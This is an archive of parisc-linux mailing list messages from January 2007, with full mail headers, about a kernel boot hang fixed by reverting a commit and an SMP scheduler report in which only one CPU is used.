X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24245

> On Mon, Jan 15, 2007 at 01:16:00AM +0100, Thibaut VARENE wrote:
> > 
> > I don't know if that's related but it seems that 1 out of 2 boot
> > attempts the kernel doesn't get past the startup of INIT and freezes
> > there. I don't think this is my 'ldap' bug because this box is
> > properly configured to avoid it. Something else is happening I
> > suppose....
> > 
> 
> I'm seeing this too with 2.6.20-rc5 on SMP, I don't see it with -rc4, or when
> booting a UP kernel. Will bisect to find what's going on.

I'm running 2.6.20-rc3 UP.  It's been up ten days doing GCC builds.
There's the occassional SEGV in user processes, particularly building
libjava.  I got rid of ldap since I don't use it and it was causing
boot problems.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Sun, 14 Jan 2007 23:21:08 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20070115042108.GE2687__8679.05269046805$1416624264$gmane$org@athena.road.mcmartin.ca>
References: <20070109034731.GD1065@athena.road.mcmartin.ca>
	<200701100205.l0A25XjX006906@hiauly1.hia.nrc.ca>
	<20070110222146.GD29244@colo.lackof.org>
	<45A7D875.9050309@scarlet.be>
	<7d01f9f00701141608t3af1fab5nd8819dea889cf956@mail.gmail.com>
	<7d01f9f00701141616y4e7726w4b7b59af0d270940@mail.gmail.com>
	<20070115003643.GD2687@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624264 22476 80.91.229.3 (22 Nov 2014 02:44:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:24 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jan 2007 04:21:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 15 Jan 2007 05:21:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B64B37D8FF;
	Sun, 14 Jan 2007 21:21:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18558-04; Sun, 14 Jan 2007 21:21:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9D77D7D904;
	Sun, 14 Jan 2007 21:21:18 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 239DE7D8E8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 21:21:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18558-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 21:21:13 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 7EB567D8D6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 14 Jan 2007 21:21:13 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 6DCC858409B;
	Sun, 14 Jan 2007 23:21:12 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id DE4F7584094;
	Sun, 14 Jan 2007 23:21:11 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 86CFC837DC;
	Sun, 14 Jan 2007 23:21:11 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 2FE763B06E; Sun, 14 Jan 2007 23:21:08 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20070115003643.GD2687@athena.road.mcmartin.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JG3ALWAuTlIvULeQeGhrQlBGU2poZdkx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24246

On Sun, Jan 14, 2007 at 07:36:43PM -0500, Kyle McMartin wrote:
> I'm seeing this too with 2.6.20-rc5 on SMP, I don't see it with -rc4, or when
> booting a UP kernel. Will bisect to find what's going on.

Try reverting this patch and see if it fixes your hanging boot problems...
http://www.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=e5e5673f828623e58a401862b33173591faaeaff
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:[parisc-linux] Broken scheduler?
Date: Wed, 17 Jan 2007 09:58:44 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <JC08XW$66011CFD48B5DF7E806F95C501CA4F72__20636.7422863424$1416624264$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624264 22479 80.91.229.3 (22 Nov 2014 02:44:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:24 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "T-Bone" <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jan 2007 08:59:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx100) with SMTP; 17 Jan 2007 09:59:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C6627D96B;
	Wed, 17 Jan 2007 01:59:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05633-04; Wed, 17 Jan 2007 01:59:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5AE727D94D;
	Wed, 17 Jan 2007 01:59:20 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A48D7D928
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Jan 2007 01:59:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05568-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Jan 2007 01:59:11 -0700 (MST)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 2C1047D90B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Jan 2007 01:59:11 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42])
	by weequay.is.scarlet.be  with ESMTP id l0H8wiT16663;
	Wed, 17 Jan 2007 09:58:45 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RNeUfRBOYW0+VLuGbmZpRa50amthc1sU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24247

> Hi pa-ckers
> 
[snip]
> 
> That's with git head (+ tausq's cache patch
is it that stuff: <http://parisc-linux.org/~tausq/cache.diff.txt>

I test that on b2k running 32bit up kernel but failled to boot???

> + kyle's sysinfo patch +
oops I trusted it was merged now???

> e5e5673f828623e58a401862b33173591faaeaff reverted)
> 
interesting I will try it too

> HTH
> 
> T-Bone
> 
> -- 
> Thibaut VARENE
> http://www.parisc-linux.org/~varenet/
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> ---=0AScarlet One - Combinez l'ADSL avec la telephonie fixe illimitee e=
t epargnez 400 euros=0Ahttp://www.scarlet.be =0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sshd triggers Protection id trap
Date: Tue, 16 Jan 2007 12:57:09 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <7d01f9f00701160357i795f7760t920b45c367939660__33088.9194309295$1416624264$gmane$org@mail.gmail.com>
References: <20070109034731.GD1065@athena.road.mcmartin.ca>
	<200701100205.l0A25XjX006906@hiauly1.hia.nrc.ca>
	<20070110222146.GD29244@colo.lackof.org> <45A7D875.9050309@scarlet.be>
	<7d01f9f00701141608t3af1fab5nd8819dea889cf956@mail.gmail.com>
	<7d01f9f00701141616y4e7726w4b7b59af0d270940@mail.gmail.com>
	<20070115003643.GD2687@athena.road.mcmartin.ca>
	<20070115042108.GE2687@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624264 22485 80.91.229.3 (22 Nov 2014 02:44:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:24 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Kyle McMartin" <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jan 2007 11:57:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx088) with SMTP; 16 Jan 2007 12:57:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 986447D969;
	Tue, 16 Jan 2007 04:57:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30362-02; Tue, 16 Jan 2007 04:57:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 607827D957;
	Tue, 16 Jan 2007 04:57:16 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 13FA17D904
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Jan 2007 04:57:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30028-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Jan 2007 04:57:11 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.172])
	by free.linux.hp.com (Postfix) with ESMTP id 335917D8F9
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Jan 2007 04:57:11 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so1809309ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Jan 2007 03:57:10 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=plLo0GTuwZQbtQcHgnnsSgryLogdjzu4DhIJ0XhwQt5oDnmbMfSOBHGttO0zQBCnSEoL6/U4Rij0y5z+o8KyIi26qzC00qbUMgCMX8ACz3/XaNa0SqLw5Ambod9qoCfcfrRAB68dKtRbMjvK+p/nZRU8e+rdtk6oXaHsAhYStTY=
Original-Received: by 10.82.138.6 with SMTP id l6mr985914bud.1168948629422;
	Tue, 16 Jan 2007 03:57:09 -0800 (PST)
Original-Received: by 10.78.202.8 with HTTP; Tue, 16 Jan 2007 03:57:09 -0800 (PST)
In-Reply-To: <20070115042108.GE2687@athena.road.mcmartin.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 7a239f65d72fef4f
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6cjNIUEaa0AoXL6aejEzqsc3Njh6dE6+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24248

On 1/15/07, Kyle McMartin <kyle@mcmartin.ca> wrote:
> On Sun, Jan 14, 2007 at 07:36:43PM -0500, Kyle McMartin wrote:
> > I'm seeing this too with 2.6.20-rc5 on SMP, I don't see it with -rc4, or when
> > booting a UP kernel. Will bisect to find what's going on.
>
> Try reverting this patch and see if it fixes your hanging boot problems...
> http://www.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commitdiff;h=e5e5673f828623e58a401862b33173591faaeaff

Indeed, the box boots fine with that patch reverted.

HTH

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Broken scheduler?
Date: Tue, 16 Jan 2007 13:00:22 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <7d01f9f00701160400n4d3c3343rb864e765eb4423f9__17610.3919781328$1416624265$gmane$org@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624265 22489 80.91.229.3 (22 Nov 2014 02:44:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:25 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jan 2007 12:00:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx101) with SMTP; 16 Jan 2007 13:00:49 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EEFB77D97E;
	Tue, 16 Jan 2007 05:00:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30358-10; Tue, 16 Jan 2007 05:00:45 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8F2807D982;
	Tue, 16 Jan 2007 05:00:43 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D3257D97E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Jan 2007 05:00:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30358-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Jan 2007 05:00:25 -0700 (MST)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.173])
	by free.linux.hp.com (Postfix) with ESMTP id 70A4F7D97D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Jan 2007 05:00:25 -0700 (MST)
Original-Received: by ug-out-1314.google.com with SMTP id c2so1810134ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 16 Jan 2007 04:00:24 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition:x-google-sender-auth;
	b=CXJ0UtylNylgAS01BeaWxomY7lvDkibwvnVfz7D7BY5UQWj/GM5VxViLKm0AkKsRRUHXdvTxCGtPF9Blrv7sLfedAf3ul4ZEDaSgGL9EV2ZuQ24oR/cOb7Cc0bwsiHjT8ZwBr5t8UgwE4VvWV7ZgH/pC3ZjAzLgFC7eHLItufmw=
Original-Received: by 10.82.165.1 with SMTP id n1mr988723bue.1168948823472;
	Tue, 16 Jan 2007 04:00:23 -0800 (PST)
Original-Received: by 10.78.202.8 with HTTP; Tue, 16 Jan 2007 04:00:22 -0800 (PST)
Content-Disposition: inline
X-Google-Sender-Auth: a8a41b8bbe749c9a
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2YeUcBQIbmw7XK2HZzdL97lHUzc4clFE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24249

Hi pa-ckers

On my rp3440:

top - 13:01:02 up 2 min,  1 user,  load average: 3.20, 1.16, 0.42
Tasks:  83 total,   5 running,  78 sleeping,   0 stopped,   0 zombie
Cpu0  :  0.3%us,  1.0%sy, 98.7%ni,  0.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Cpu1  :  0.0%us,  0.0%sy,  0.0%ni, 99.7%id,  0.3%wa,  0.0%hi,  0.0%si,  0.0%st
Cpu2  :  0.0%us,  0.0%sy,  0.0%ni,100.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Cpu3  :  0.0%us,  0.0%sy,  0.0%ni,100.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:   4115100k total,   183696k used,  3931404k free,     2992k buffers
Swap:  2000084k total,        0k used,  2000084k free,    22860k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
  909 boinc     39  19 76736  61m 2816 R   25  1.5   0:59.73 setiathome_enha
  917 boinc     39  19 39916  25m 2784 R   25  0.6   0:31.12 setiathome_enha
  923 boinc     39  19 38760  24m 2784 R   25  0.6   0:16.42
setiathome_enha   920 boinc     39  19 40312  26m 2784 R   25  0.7
0:21.06 setiathome_enha
  926 root      15   0  2624 1132  888 R    1  0.0   0:00.24 top
    1 root      15   0  2340  752  640 S    0  0.0   0:02.35 init
    2 root      RT   0     0    0    0 S    0  0.0   0:00.00 migration/0
    3 root      34  19     0    0    0 S    0  0.0   0:00.00 ksoftirqd/0
    4 root      RT   0     0    0    0 S    0  0.0   0:00.00 watchdog/0

See how only the first CPU gets used, and how the 4 instances of
setiathome share 25% cpu each...

That's with git head (+ tausq's cache patch + kyle's sysinfo patch +
e5e5673f828623e58a401862b33173591faaeaff reverted)

HTH

T-Bone

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thibaut VARENE" <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Broken scheduler?
Date: Thu, 18 Jan 2007 00:42:59 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <7d01f9f00701171542o5f36a73es87ba91bc70536e02__49120.4353086234$1416624265$gmane$org@mail.gmail.com>
References: <JC08XW$66011CFD48B5DF7E806F95C501CA4F72@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624265 22494 80.91.229.3 (22 Nov 2014 02:44:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:25 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Joel Soete" <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jan 2007 23:43:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 18 Jan 2007 00:43:11 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 06C287D98F;
	Wed, 17 Jan 2007 16:43:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17503-02; Wed, 17 Jan 2007 16:43:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 03A447D97F;
	Wed, 17 Jan 2007 16:43:06 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B4037D97A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Jan 2007 16:43:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
